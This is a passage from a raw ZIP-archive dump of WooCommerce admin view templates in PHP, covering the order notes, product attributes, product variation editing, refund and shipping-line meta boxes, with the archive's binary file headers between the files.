			</tr>
		</tbody>
	</table>
</div>
PK�3\fͦ�>>%meta-boxes/views/html-order-notes.phpnu�[���<?php
/**
 * Order notes HTML for meta box.
 *
 * @package WooCommerce\Admin
 */

defined( 'ABSPATH' ) || exit;

?>
<ul class="order_notes">
	<?php
	if ( $notes ) {
		foreach ( $notes as $note ) {
			$css_class   = array( 'note' );
			$css_class[] = $note->customer_note ? 'customer-note' : '';
			$css_class[] = 'system' === $note->added_by ? 'system-note' : '';
			$css_class   = apply_filters( 'woocommerce_order_note_class', array_filter( $css_class ), $note );
			?>
			<li rel="<?php echo absint( $note->id ); ?>" class="<?php echo esc_attr( implode( ' ', $css_class ) ); ?>">
				<div class="note_content">
					<?php echo wpautop( wptexturize( wp_kses_post( $note->content ) ) ); // @codingStandardsIgnoreLine ?>
				</div>
				<p class="meta">
					<abbr class="exact-date" title="<?php echo esc_attr( $note->date_created->date( 'Y-m-d H:i:s' ) ); ?>">
						<?php
						/* translators: %1$s: note date %2$s: note time */
						echo esc_html( sprintf( __( '%1$s at %2$s', 'woocommerce' ), $note->date_created->date_i18n( wc_date_format() ), $note->date_created->date_i18n( wc_time_format() ) ) );
						?>
					</abbr>
					<?php
					if ( 'system' !== $note->added_by ) :
						/* translators: %s: note author */
						echo esc_html( sprintf( ' ' . __( 'by %s', 'woocommerce' ), $note->added_by ) );
					endif;
					?>
					<a href="#" class="delete_note" role="button"><?php esc_html_e( 'Delete note', 'woocommerce' ); ?></a>
				</p>
			</li>
			<?php
		}
	} else {
		?>
		<li class="no-items"><?php esc_html_e( 'There are no notes yet.', 'woocommerce' ); ?></li>
		<?php
	}
	?>
</ul>
PK�3\2�yy1meta-boxes/views/html-product-data-attributes.phpnu�[���<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<div id="product_attributes" class="panel wc-metaboxes-wrapper hidden">
	<div class="toolbar toolbar-top">
		<span class="expand-close">
			<a href="#" class="expand_all"><?php esc_html_e( 'Expand', 'woocommerce' ); ?></a> / <a href="#" class="close_all"><?php esc_html_e( 'Close', 'woocommerce' ); ?></a>
		</span>
		<select name="attribute_taxonomy" class="attribute_taxonomy">
			<option value=""><?php esc_html_e( 'Custom product attribute', 'woocommerce' ); ?></option>
			<?php
			global $wc_product_attributes;

			// Array of defined attribute taxonomies.
			$attribute_taxonomies = wc_get_attribute_taxonomies();

			if ( ! empty( $attribute_taxonomies ) ) {
				foreach ( $attribute_taxonomies as $tax ) {
					$attribute_taxonomy_name = wc_attribute_taxonomy_name( $tax->attribute_name );
					$label                   = $tax->attribute_label ? $tax->attribute_label : $tax->attribute_name;
					echo '<option value="' . esc_attr( $attribute_taxonomy_name ) . '">' . esc_html( $label ) . '</option>';
				}
			}
			?>
		</select>
		<button type="button" class="button add_attribute"><?php esc_html_e( 'Add', 'woocommerce' ); ?></button>
	</div>
	<div class="product_attributes wc-metaboxes">
		<?php
		// Product attributes - taxonomies and custom, ordered, with visibility and variation attributes set.
		$attributes = $product_object->get_attributes( 'edit' );
		$i          = -1;

		foreach ( $attributes as $attribute ) {
			$i++;
			$metabox_class = array();

			if ( $attribute->is_taxonomy() ) {
				$metabox_class[] = 'taxonomy';
				$metabox_class[] = $attribute->get_name();
			}

			include __DIR__ . '/html-product-attribute.php';
		}
		?>
	</div>
	<div class="toolbar">
		<span class="expand-close">
			<a href="#" class="expand_all"><?php esc_html_e( 'Expand', 'woocommerce' ); ?></a> / <a href="#" class="close_all"><?php esc_html_e( 'Close', 'woocommerce' ); ?></a>
		</span>
		<button type="button" class="button save_attributes button-primary"><?php esc_html_e( 'Save attributes', 'woocommerce' ); ?></button>
	</div>
	<?php do_action( 'woocommerce_product_options_attributes' ); ?>
</div>
PK�3\S����Z�Z)meta-boxes/views/html-variation-admin.phpnu�[���<?php
/**
 * Outputs a variation for editing.
 *
 * @package WooCommerce\Admin
 * @var int $variation_id
 * @var WP_POST $variation
 * @var WC_Product_Variation $variation_object
 * @var array $variation_data array of variation data @deprecated 4.4.0.
 */

defined( 'ABSPATH' ) || exit;

?>
<div class="woocommerce_variation wc-metabox closed">
	<h3>
		<a href="#" class="remove_variation delete" rel="<?php echo esc_attr( $variation_id ); ?>"><?php esc_html_e( 'Remove', 'woocommerce' ); ?></a>
		<div class="handlediv" aria-label="<?php esc_attr_e( 'Click to toggle', 'woocommerce' ); ?>"></div>
		<div class="tips sort" data-tip="<?php esc_attr_e( 'Drag and drop, or click to set admin variation order', 'woocommerce' ); ?>"></div>
		<strong>#<?php echo esc_html( $variation_id ); ?> </strong>
		<?php
		$attribute_values = $variation_object->get_attributes( 'edit' );

		foreach ( $product_object->get_attributes( 'edit' ) as $attribute ) {
			if ( ! $attribute->get_variation() ) {
				continue;
			}
			$selected_value = isset( $attribute_values[ sanitize_title( $attribute->get_name() ) ] ) ? $attribute_values[ sanitize_title( $attribute->get_name() ) ] : '';
			?>
			<select name="attribute_<?php echo esc_attr( sanitize_title( $attribute->get_name() ) . "[{$loop}]" ); ?>">
				<option value="">
					<?php
					/* translators: %s: attribute label */
					printf( esc_html__( 'Any %s&hellip;', 'woocommerce' ), wc_attribute_label( $attribute->get_name() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
					?>
				</option>
				<?php if ( $attribute->is_taxonomy() ) : ?>
					<?php foreach ( $attribute->get_terms() as $option ) : ?>
						<option <?php selected( $selected_value, $option->slug ); ?> value="<?php echo esc_attr( $option->slug ); ?>"><?php echo esc_html( apply_filters( 'woocommerce_variation_option_name', $option->name, $option, $attribute->get_name(), $product_object ) ); ?></option>
					<?php endforeach; ?>
				<?php else : ?>
					<?php foreach ( $attribute->get_options() as $option ) : ?>
						<option <?php selected( $selected_value, $option ); ?> value="<?php echo esc_attr( $option ); ?>"><?php echo esc_html( apply_filters( 'woocommerce_variation_option_name', $option, null, $attribute->get_name(), $product_object ) ); ?></option>
					<?php endforeach; ?>
				<?php endif; ?>
			</select>
			<?php
		}
		?>
		<input type="hidden" class="variable_post_id" name="variable_post_id[<?php echo esc_attr( $loop ); ?>]" value="<?php echo esc_attr( $variation_id ); ?>" />
		<input type="hidden" class="variation_menu_order" name="variation_menu_order[<?php echo esc_attr( $loop ); ?>]" value="<?php echo esc_attr( $variation_object->get_menu_order( 'edit' ) ); ?>" />

		<?php
		/**
		 * Variations header action.
		 *
		 * @since 3.6.0
		 *
		 * @param WP_Post $variation Post data.
		 */
		do_action( 'woocommerce_variation_header', $variation );
		?>
	</h3>
	<div class="woocommerce_variable_attributes wc-metabox-content" style="display: none;">
		<div class="data">
			<p class="form-row form-row-first upload_image">
				<a href="#" class="upload_image_button tips <?php echo $variation_object->get_image_id( 'edit' ) ? 'remove' : ''; ?>" data-tip="<?php echo $variation_object->get_image_id( 'edit' ) ? esc_attr__( 'Remove this image', 'woocommerce' ) : esc_attr__( 'Upload an image', 'woocommerce' ); ?>" rel="<?php echo esc_attr( $variation_id ); ?>">
					<img src="<?php echo $variation_object->get_image_id( 'edit' ) ? esc_url( wp_get_attachment_thumb_url( $variation_object->get_image_id( 'edit' ) ) ) : esc_url( wc_placeholder_img_src() ); ?>" /><input type="hidden" name="upload_image_id[<?php echo esc_attr( $loop ); ?>]" class="upload_image_id" value="<?php echo esc_attr( $variation_object->get_image_id( 'edit' ) ); ?>" />
				</a>
			</p>
			<?php
			if ( wc_product_sku_enabled() ) {
				woocommerce_wp_text_input(
					array(
						'id'            => "variable_sku{$loop}",
						'name'          => "variable_sku[{$loop}]",
						'value'         => $variation_object->get_sku( 'edit' ),
						'placeholder'   => $variation_object->get_sku(),
						'label'         => '<abbr title="' . esc_attr__( 'Stock Keeping Unit', 'woocommerce' ) . '">' . esc_html__( 'SKU', 'woocommerce' ) . '</abbr>',
						'desc_tip'      => true,
						'description'   => __( 'SKU refers to a Stock-keeping unit, a unique identifier for each distinct product and service that can be purchased.', 'woocommerce' ),
						'wrapper_class' => 'form-row form-row-last',
					)
				);
			}
			?>
			<p class="form-row form-row-full options">
				<label>
					<?php esc_html_e( 'Enabled', 'woocommerce' ); ?>
					<input type="checkbox" class="checkbox" name="variable_enabled[<?php echo esc_attr( $loop ); ?>]" <?php checked( in_array( $variation_object->get_status( 'edit' ), array( 'publish', false ), true ), true ); ?> />
				</label>
				<label class="tips" data-tip="<?php esc_attr_e( 'Enable this option if access is given to a downloadable file upon purchase of a product', 'woocommerce' ); ?>">
					<?php esc_html_e( 'Downloadable', 'woocommerce' ); ?>
					<input type="checkbox" class="checkbox variable_is_downloadable" name="variable_is_downloadable[<?php echo esc_attr( $loop ); ?>]" <?php checked( $variation_object->get_downloadable( 'edit' ), true ); ?> />
				</label>
				<label class="tips" data-tip="<?php esc_attr_e( 'Enable this option if a product is not shipped or there is no shipping cost', 'woocommerce' ); ?>">
					<?php esc_html_e( 'Virtual', 'woocommerce' ); ?>
					<input type="checkbox" class="checkbox variable_is_virtual" name="variable_is_virtual[<?php echo esc_attr( $loop ); ?>]" <?php checked( $variation_object->get_virtual( 'edit' ), true ); ?> />
				</label>

				<?php if ( 'yes' === get_option( 'woocommerce_manage_stock' ) ) : ?>
					<label class="tips" data-tip="<?php esc_attr_e( 'Enable this option to enable stock management at variation level', 'woocommerce' ); ?>">
						<?php esc_html_e( 'Manage stock?', 'woocommerce' ); ?>
						<input type="checkbox" class="checkbox variable_manage_stock" name="variable_manage_stock[<?php echo esc_attr( $loop ); ?>]" <?php checked( $variation_object->get_manage_stock(), true ); // Use view context so 'parent' is considered. ?> />
					</label>
				<?php endif; ?>

				<?php do_action( 'woocommerce_variation_options', $loop, $variation_data, $variation ); ?>
			</p>

			<div class="variable_pricing">
				<?php
				$label = sprintf(
					/* translators: %s: currency symbol */
					__( 'Regular price (%s)', 'woocommerce' ),
					get_woocommerce_currency_symbol()
				);

				woocommerce_wp_text_input(
					array(
						'id'            => "variable_regular_price_{$loop}",
						'name'          => "variable_regular_price[{$loop}]",
						'value'         => wc_format_localized_price( $variation_object->get_regular_price( 'edit' ) ),
						'label'         => $label,
						'data_type'     => 'price',
						'wrapper_class' => 'form-row form-row-first',
						'placeholder'   => __( 'Variation price (required)', 'woocommerce' ),
					)
				);

				$label = sprintf(
					/* translators: %s: currency symbol */
					__( 'Sale price (%s)', 'woocommerce' ),
					get_woocommerce_currency_symbol()
				);

				woocommerce_wp_text_input(
					array(
						'id'            => "variable_sale_price{$loop}",
						'name'          => "variable_sale_price[{$loop}]",
						'value'         => wc_format_localized_price( $variation_object->get_sale_price( 'edit' ) ),
						'data_type'     => 'price',
						'label'         => $label . ' <a href="#" class="sale_schedule">' . esc_html__( 'Schedule', 'woocommerce' ) . '</a><a href="#" class="cancel_sale_schedule hidden">' . esc_html__( 'Cancel schedule', 'woocommerce' ) . '</a>',
						'wrapper_class' => 'form-row form-row-last',
					)
				);

				$sale_price_dates_from_timestamp = $variation_object->get_date_on_sale_from( 'edit' ) ? $variation_object->get_date_on_sale_from( 'edit' )->getOffsetTimestamp() : false;
				$sale_price_dates_to_timestamp   = $variation_object->get_date_on_sale_to( 'edit' ) ? $variation_object->get_date_on_sale_to( 'edit' )->getOffsetTimestamp() : false;

				$sale_price_dates_from = $sale_price_dates_from_timestamp ? date_i18n( 'Y-m-d', $sale_price_dates_from_timestamp ) : '';
				$sale_price_dates_to   = $sale_price_dates_to_timestamp ? date_i18n( 'Y-m-d', $sale_price_dates_to_timestamp ) : '';

				echo '<div class="form-field sale_price_dates_fields hidden">
					<p class="form-row form-row-first">
						<label>' . esc_html__( 'Sale start date', 'woocommerce' ) . '</label>
						<input type="text" class="sale_price_dates_from" name="variable_sale_price_dates_from[' . esc_attr( $loop ) . ']" value="' . esc_attr( $sale_price_dates_from ) . '" placeholder="' . esc_attr_x( 'From&hellip;', 'placeholder', 'woocommerce' ) . ' YYYY-MM-DD" maxlength="10" pattern="' . esc_attr( apply_filters( 'woocommerce_date_input_html_pattern', '[0-9]{4}-(0[1-9]|1[012])-(0[1-9]|1[0-9]|2[0-9]|3[01])' ) ) . '" />
					</p>
					<p class="form-row form-row-last">
						<label>' . esc_html__( 'Sale end date', 'woocommerce' ) . '</label>
						<input type="text" class="sale_price_dates_to" name="variable_sale_price_dates_to[' . esc_attr( $loop ) . ']" value="' . esc_attr( $sale_price_dates_to ) . '" placeholder="' . esc_attr_x( 'To&hellip;', 'placeholder', 'woocommerce' ) . '  YYYY-MM-DD" maxlength="10" pattern="' . esc_attr( apply_filters( 'woocommerce_date_input_html_pattern', '[0-9]{4}-(0[1-9]|1[012])-(0[1-9]|1[0-9]|2[0-9]|3[01])' ) ) . '" />
					</p>
				</div>';

				/**
				 * Variation options pricing action.
				 *
				 * @since 2.5.0
				 *
				 * @param int     $loop           Position in the loop.
				 * @param array   $variation_data Variation data.
				 * @param WP_Post $variation      Post data.
				 */
				do_action( 'woocommerce_variation_options_pricing', $loop, $variation_data, $variation );
				?>
			</div>

			<?php if ( 'yes' === get_option( 'woocommerce_manage_stock' ) ) : ?>
				<div class="show_if_variation_manage_stock" style="display: none;">
					<?php
					woocommerce_wp_text_input(
						array(
							'id'                => "variable_stock{$loop}",
							'name'              => "variable_stock[{$loop}]",
							'value'             => wc_stock_amount( $variation_object->get_stock_quantity( 'edit' ) ),
							'label'             => __( 'Stock quantity', 'woocommerce' ),
							'desc_tip'          => true,
							'description'       => __( "Enter a number to set stock quantity at the variation level. Use a variation's 'Manage stock?' check box above to enable/disable stock management at the variation level.", 'woocommerce' ),
							'type'              => 'number',
							'custom_attributes' => array(
								'step' => 'any',
							),
							'data_type'         => 'stock',
							'wrapper_class'     => 'form-row form-row-first',
						)
					);

					echo '<input type="hidden" name="variable_original_stock[' . esc_attr( $loop ) . ']" value="' . esc_attr( wc_stock_amount( $variation_object->get_stock_quantity( 'edit' ) ) ) . '" />';

					woocommerce_wp_select(
						array(
							'id'            => "variable_backorders{$loop}",
							'name'          => "variable_backorders[{$loop}]",
							'value'         => $variation_object->get_backorders( 'edit' ),
							'label'         => __( 'Allow backorders?', 'woocommerce' ),
							'options'       => wc_get_product_backorder_options(),
							'desc_tip'      => true,
							'description'   => __( 'If managing stock, this controls whether or not backorders are allowed. If enabled, stock quantity can go below 0.', 'woocommerce' ),
							'wrapper_class' => 'form-row form-row-last',
						)
					);

					$low_stock_placeholder = ( $product_object->get_manage_stock() && '' !== $product_object->get_low_stock_amount() )
						? sprintf(
							/* translators: %d: Amount of stock left */
							esc_attr__( 'Parent product\'s threshold (%d)', 'woocommerce' ),
							esc_attr( $product_object->get_low_stock_amount() )
						)
						: sprintf(
							/* translators: %d: Amount of stock left */
							esc_attr__( 'Store-wide threshold (%d)', 'woocommerce' ),
							esc_attr( get_option( 'woocommerce_notify_low_stock_amount' ) )
						);

					woocommerce_wp_text_input(
						array(
							'id'                => "variable_low_stock_amount{$loop}",
							'name'              => "variable_low_stock_amount[{$loop}]",
							'value'             => $variation_object->get_low_stock_amount( 'edit' ),
							'placeholder'       => $low_stock_placeholder,
							'label'             => __( 'Low stock threshold', 'woocommerce' ),
							'desc_tip'          => true,
							'description'       => __( 'When variation stock reaches this amount you will be notified by email. The default value for all variations can be set in the product Inventory tab. The shop default value can be set in Settings > Products > Inventory.', 'woocommerce' ),
							'type'              => 'number',
							'custom_attributes' => array(
								'step' => 'any',
							),
							'wrapper_class' => 'form-row',
						)
					);

					/**
					 * Variation options inventory action.
					 *
					 * @since 2.5.0
					 *
					 * @param int     $loop           Position in the loop.
					 * @param array   $variation_data Variation data.
					 * @param WP_Post $variation      Post data.
					 */
					do_action( 'woocommerce_variation_options_inventory', $loop, $variation_data, $variation );
					?>
				</div>
			<?php endif; ?>

			<div>
				<?php
				woocommerce_wp_select(
					array(
						'id'            => "variable_stock_status{$loop}",
						'name'          => "variable_stock_status[{$loop}]",
						'value'         => $variation_object->get_stock_status( 'edit' ),
						'label'         => __( 'Stock status', 'woocommerce' ),
						'options'       => wc_get_product_stock_status_options(),
						'desc_tip'      => true,
						'description'   => __( 'Controls whether or not the product is listed as "in stock" or "out of stock" on the frontend.', 'woocommerce' ),
						'wrapper_class' => 'form-row form-row-full variable_stock_status',
					)
				);

				if ( wc_product_weight_enabled() ) {
					$label = sprintf(
						/* translators: %s: weight unit */
						__( 'Weight (%s)', 'woocommerce' ),
						esc_html( get_option( 'woocommerce_weight_unit' ) )
					);

					woocommerce_wp_text_input(
						array(
							'id'            => "variable_weight{$loop}",
							'name'          => "variable_weight[{$loop}]",
							'value'         => wc_format_localized_decimal( $variation_object->get_weight( 'edit' ) ),
							'placeholder'   => wc_format_localized_decimal( $product_object->get_weight() ),
							'label'         => $label,
							'desc_tip'      => true,
							'description'   => __( 'Weight in decimal form', 'woocommerce' ),
							'type'          => 'text',
							'data_type'     => 'decimal',
							'wrapper_class' => 'form-row form-row-first hide_if_variation_virtual',
						)
					);
				}

				if ( wc_product_dimensions_enabled() ) {
					$parent_length = wc_format_localized_decimal( $product_object->get_length() );
					$parent_width  = wc_format_localized_decimal( $product_object->get_width() );
					$parent_height = wc_format_localized_decimal( $product_object->get_height() );

					?>
					<p class="form-field form-row dimensions_field hide_if_variation_virtual form-row-last">
						<label for="product_length">
							<?php
							printf(
								/* translators: %s: dimension unit */
								esc_html__( 'Dimensions (L&times;W&times;H) (%s)', 'woocommerce' ),
								esc_html( get_option( 'woocommerce_dimension_unit' ) )
							);
							?>
						</label>
						<?php echo wc_help_tip( __( 'Length x width x height in decimal form', 'woocommerce' ) ); ?>
						<span class="wrap">
							<input id="product_length" placeholder="<?php echo $parent_length ? esc_attr( $parent_length ) : esc_attr__( 'Length', 'woocommerce' ); ?>" class="input-text wc_input_decimal" size="6" type="text" name="variable_length[<?php echo esc_attr( $loop ); ?>]" value="<?php echo esc_attr( wc_format_localized_decimal( $variation_object->get_length( 'edit' ) ) ); ?>" />
							<input placeholder="<?php echo $parent_width ? esc_attr( $parent_width ) : esc_attr__( 'Width', 'woocommerce' ); ?>" class="input-text wc_input_decimal" size="6" type="text" name="variable_width[<?php echo esc_attr( $loop ); ?>]" value="<?php echo esc_attr( wc_format_localized_decimal( $variation_object->get_width( 'edit' ) ) ); ?>" />
							<input placeholder="<?php echo $parent_height ? esc_attr( $parent_height ) : esc_attr__( 'Height', 'woocommerce' ); ?>" class="input-text wc_input_decimal last" size="6" type="text" name="variable_height[<?php echo esc_attr( $loop ); ?>]" value="<?php echo esc_attr( wc_format_localized_decimal( $variation_object->get_height( 'edit' ) ) ); ?>" />
						</span>
					</p>
					<?php
				}

				/**
				 * Variation options dimensions action.
				 *
				 * @since 2.5.0
				 *
				 * @param int     $loop           Position in the loop.
				 * @param array   $variation_data Variation data.
				 * @param WP_Post $variation      Post data.
				 */
				do_action( 'woocommerce_variation_options_dimensions', $loop, $variation_data, $variation );
				?>
			</div>

			<div>
				<p class="form-row hide_if_variation_virtual form-row-full">
					<label><?php esc_html_e( 'Shipping class', 'woocommerce' ); ?></label>
					<?php
					wp_dropdown_categories(
						array(
							'taxonomy'         => 'product_shipping_class',
							'hide_empty'       => 0,
							'show_option_none' => __( 'Same as parent', 'woocommerce' ),
							'name'             => 'variable_shipping_class[' . $loop . ']',
							'id'               => '',
							'selected'         => $variation_object->get_shipping_class_id( 'edit' ),
						)
					);
					?>
				</p>

				<?php
				if ( wc_tax_enabled() ) {
					woocommerce_wp_select(
						array(
							'id'            => "variable_tax_class{$loop}",
							'name'          => "variable_tax_class[{$loop}]",
							'value'         => $variation_object->get_tax_class( 'edit' ),
							'label'         => __( 'Tax class', 'woocommerce' ),
							'options'       => array( 'parent' => __( 'Same as parent', 'woocommerce' ) ) + wc_get_product_tax_class_options(),
							'desc_tip'      => 'true',
							'description'   => __( 'Choose a tax class for this product. Tax classes are used to apply different tax rates specific to certain types of product.', 'woocommerce' ),
							'wrapper_class' => 'form-row form-row-full',
						)
					);

					/**
					 * Variation options tax action.
					 *
					 * @since 2.5.0
					 *
					 * @param int     $loop           Position in the loop.
					 * @param array   $variation_data Variation data.
					 * @param WP_Post $variation      Post data.
					 */
					do_action( 'woocommerce_variation_options_tax', $loop, $variation_data, $variation );
				}
				?>
			</div>
			<div>
				<?php
				woocommerce_wp_textarea_input(
					array(
						'id'            => "variable_description{$loop}",
						'name'          => "variable_description[{$loop}]",
						'value'         => $variation_object->get_description( 'edit' ),
						'label'         => __( 'Description', 'woocommerce' ),
						'desc_tip'      => true,
						'description'   => __( 'Enter an optional description for this variation.', 'woocommerce' ),
						'wrapper_class' => 'form-row form-row-full',
					)
				);
				?>
			</div>
			<div class="show_if_variation_downloadable" style="display: none;">
				<div class="form-row form-row-full downloadable_files">
					<label><?php esc_html_e( 'Downloadable files', 'woocommerce' ); ?></label>
					<table class="widefat">
						<thead>
							<div>
								<th><?php esc_html_e( 'Name', 'woocommerce' ); ?> <?php echo wc_help_tip( __( 'This is the name of the download shown to the customer.', 'woocommerce' ) ); ?></th>
								<th colspan="2"><?php esc_html_e( 'File URL', 'woocommerce' ); ?> <?php echo wc_help_tip( __( 'This is the URL or absolute path to the file which customers will get access to. URLs entered here should already be encoded.', 'woocommerce' ) ); ?></th>
								<th>&nbsp;</th>
							</div>
						</thead>
						<tbody>
							<?php
							$downloads = $variation_object->get_downloads( 'edit' );

							if ( $downloads ) {
								foreach ( $downloads as $key => $file ) {
									include __DIR__ . '/html-product-variation-download.php';
								}
							}
							?>
						</tbody>
						<tfoot>
							<div>
								<th colspan="4">
									<a href="#" class="button insert" data-row="
									<?php
									$key  = '';
									$file = array(
										'file' => '',
										'name' => '',
									);
									ob_start();
									require __DIR__ . '/html-product-variation-download.php';
									echo esc_attr( ob_get_clean() );
									?>
									"><?php esc_html_e( 'Add file', 'woocommerce' ); ?></a>
								</th>
							</div>
						</tfoot>
					</table>
				</div>
			</div>
			<div class="show_if_variation_downloadable" style="display: none;">
				<?php
				woocommerce_wp_text_input(
					array(
						'id'                => "variable_download_limit{$loop}",
						'name'              => "variable_download_limit[{$loop}]",
						'value'             => $variation_object->get_download_limit( 'edit' ) < 0 ? '' : $variation_object->get_download_limit( 'edit' ),
						'label'             => __( 'Download limit', 'woocommerce' ),
						'placeholder'       => __( 'Unlimited', 'woocommerce' ),
						'description'       => __( 'Leave blank for unlimited re-downloads.', 'woocommerce' ),
						'type'              => 'number',
						'desc_tip'          => true,
						'custom_attributes' => array(
							'step' => '1',
							'min'  => '0',
						),
						'wrapper_class'     => 'form-row form-row-first',
					)
				);

				woocommerce_wp_text_input(
					array(
						'id'                => "variable_download_expiry{$loop}",
						'name'              => "variable_download_expiry[{$loop}]",
						'value'             => $variation_object->get_download_expiry( 'edit' ) < 0 ? '' : $variation_object->get_download_expiry( 'edit' ),
						'label'             => __( 'Download expiry', 'woocommerce' ),
						'placeholder'       => __( 'Never', 'woocommerce' ),
						'description'       => __( 'Enter the number of days before a download link expires, or leave blank.', 'woocommerce' ),
						'type'              => 'number',
						'desc_tip'          => true,
						'custom_attributes' => array(
							'step' => '1',
							'min'  => '0',
						),
						'wrapper_class'     => 'form-row form-row-last',
					)
				);

				/**
				 * Variation options download action.
				 *
				 * @since 2.5.0
				 *
				 * @param int     $loop           Position in the loop.
				 * @param array   $variation_data Variation data.
				 * @param WP_Post $variation      Post data.
				 */
				do_action( 'woocommerce_variation_options_download', $loop, $variation_data, $variation );
				?>
			</div>
			<?php do_action( 'woocommerce_product_after_variable_attributes', $loop, $variation_data, $variation ); ?>
		</div>
	</div>
</div>
PK�3\�8���	�	&meta-boxes/views/html-order-refund.phpnu�[���<?php
/**
 * Show order refund
 *
 * @var object $refund The refund object.
 * @package WooCommerce\Admin
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

$who_refunded = new WP_User( $refund->get_refunded_by() );
?>
<tr class="refund <?php echo ( ! empty( $class ) ) ? esc_attr( $class ) : ''; ?>" data-order_refund_id="<?php echo esc_attr( $refund->get_id() ); ?>">
	<td class="thumb"><div></div></td>

	<td class="name">
		<?php
		if ( $who_refunded->exists() ) {
			printf(
				/* translators: 1: refund id 2: refund date 3: username */
				esc_html__( 'Refund #%1$s - %2$s by %3$s', 'woocommerce' ),
				esc_html( $refund->get_id() ),
				esc_html( wc_format_datetime( $refund->get_date_created(), get_option( 'date_format' ) . ', ' . get_option( 'time_format' ) ) ),
				sprintf(
					'<abbr class="refund_by" title="%1$s">%2$s</abbr>',
					/* translators: 1: ID who refunded */
					sprintf( esc_attr__( 'ID: %d', 'woocommerce' ), absint( $who_refunded->ID ) ),
					esc_html( $who_refunded->display_name )
				)
			);
		} else {
			printf(
				/* translators: 1: refund id 2: refund date */
				esc_html__( 'Refund #%1$s - %2$s', 'woocommerce' ),
				esc_html( $refund->get_id() ),
				esc_html( wc_format_datetime( $refund->get_date_created(), get_option( 'date_format' ) . ', ' . get_option( 'time_format' ) ) )
			);
		}
		?>
		<?php if ( $refund->get_reason() ) : ?>
			<p class="description"><?php echo esc_html( $refund->get_reason() ); ?></p>
		<?php endif; ?>
		<input type="hidden" class="order_refund_id" name="order_refund_id[]" value="<?php echo esc_attr( $refund->get_id() ); ?>" />

		<?php do_action( 'woocommerce_after_order_refund_item_name', $refund ); ?>
	</td>

	<?php do_action( 'woocommerce_admin_order_item_values', null, $refund, $refund->get_id() ); ?>

	<td class="item_cost" width="1%">&nbsp;</td>
	<td class="quantity" width="1%">&nbsp;</td>

	<td class="line_cost" width="1%">
		<div class="view">
			<?php
			echo wp_kses_post(
				wc_price( '-' . $refund->get_amount(), array( 'currency' => $refund->get_currency() ) )
			);
			?>
		</div>
	</td>

	<?php
	if ( wc_tax_enabled() ) :
		$total_taxes = count( $order_taxes );
		?>
		<?php for ( $i = 0;  $i < $total_taxes; $i++ ) : ?>
			<td class="line_tax" width="1%"></td>
		<?php endfor; ?>
	<?php endif; ?>

	<td class="wc-order-edit-line-item">
		<div class="wc-order-edit-line-item-actions">
			<a class="delete_refund" href="#"></a>
		</div>
	</td>
</tr>
PK�3\@�zaa(meta-boxes/views/html-order-shipping.phpnu�[���<?php
/**
 * Shows a shipping line
 *
 * @package WooCommerce\Admin
 *
 * @var object $item The item being displayed
 * @var int $item_id The id of the item being displayed
 *
 * @package WooCommerce\Admin\Views
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<tr class="shipping <?php echo ( ! empty( $class ) ) ? esc_attr( $class ) : ''; ?>" data-order_item_id="<?php echo esc_attr( $item_id ); ?>">
	<td class="thumb"><div></div></td>

	<td class="name">
		<div class="view">
			<?php echo esc_html( $item->get_name() ? $item->get_name() : __( 'Shipping', 'woocommerce' ) ); ?>
		</div>
		<div class="edit" style="display: none;">
			<input type="hidden" name="shipping_method_id[]" value="<?php echo esc_attr( $item_id ); ?>" />
			<input type="text" class="shipping_method_name" placeholder="<?php esc_attr_e( 'Shipping name', 'woocommerce' ); ?>" name="shipping_method_title[<?php echo esc_attr( $item_id ); ?>]" value="<?php echo esc_attr( $item->get_name() ); ?>" />
			<select class="shipping_method" name="shipping_method[<?php echo esc_attr( $item_id ); ?>]">
				<optgroup label="<?php esc_attr_e( 'Shipping method', 'woocommerce' ); ?>">
					<option value=""><?php esc_html_e( 'N/A', 'woocommerce' ); ?></option>
					<?php
					$found_method = false;

					foreach ( $shipping_methods as $method ) {
						$is_active = $item->get_method_id() === $method->id;

						echo '<option value="' . esc_attr( $method->id ) . '" ' . selected( true, $is_active, false ) . '>' . esc_html( $method->get_method_title() ) . '</option>';

						if ( $is_active ) {
							$found_method = true;
						}
					}

					if ( ! $found_method && $item->get_method_id() ) {
						echo '<option value="' . esc_attr( $item->get_method_id() ) . '" selected="selected">' . esc_html__( 'Other', 'woocommerce' ) . '</option>';
					} else {
						echo '<option value="other">' . esc_html__( 'Other', 'woocommerce' ) . '</option>';
					}
					?>
				</optgroup>
			</select>
		</div>

		<?php do_action( 'woocommerce_before_order_itemmeta', $item_id, $item, null ); ?>
		<?php require __DIR__ . '/html-order-item-meta.php'; ?>
		<?php do_action( 'woocommerce_after_order_itemmeta', $item_id, $item, null ); ?>
	</td>

	<?php do_action( 'woocommerce_admin_order_item_values', null, $item, absint( $item_id ) ); ?>

	<td class="item_cost" width="1%">&nbsp;</td>
	<td class="quantity" width="1%">&nbsp;</td>

	<td class="line_cost" width="1%">
		<div class="view">
			<?php
			echo wp_kses_post( wc_price( $item->get_total(), array( 'currency' => $order->get_currency() ) ) );
			$refunded = $order->get_total_refunded_for_item( $item_id, 'shipping' );
			if ( $refunded ) {
				echo wp_kses_post( '<small class="refunded">-' . wc_price( $refunded, array( 'currency' => $order->get_currency() ) ) . '</small>' );
			}
			?>
		</div>
		<div class="edit" style="display: none;">
			<input type="text" name="shipping_cost[<?php echo esc_attr( $item_id ); ?>]" placeholder="<?php echo esc_attr( wc_format_localized_price( 0 ) ); ?>" value="<?php echo esc_attr( wc_format_localized_price( $item->get_total() ) ); ?>" class="line_total wc_input_price" />
		</div>
		<div class="refund" style="display: none;">
			<input type="text" name="refund_line_total[<?php echo absint( $item_id ); ?>]" placeholder="<?php echo esc_attr( wc_format_localized_price( 0 ) ); ?>" class="refund_line_total wc_input_price" />
		</div>
	</td>

	<?php
	$tax_data = $item->get_taxes();
	if ( $tax_data && wc_tax_enabled() ) {
		foreach ( $order_taxes as $tax_item ) {
			$tax_item_id    = $tax_item->get_rate_id();
			$tax_item_total = isset( $tax_data['total'][ $tax_item_id ] ) ? $tax_data['total'][ $tax_item_id ] : '';
			?>
			<td class="line_tax" width="1%">
				<div class="view">
					<?php
					echo wp_kses_post( ( '' !== $tax_item_total ) ? wc_price( $tax_item_total, array( 'currency' => $order->get_currency() ) ) : '&ndash;' );
					$refunded = $order->get_tax_refunded_for_item( $item_id, $tax_item_id, 'shipping' );
					if ( $refunded ) {
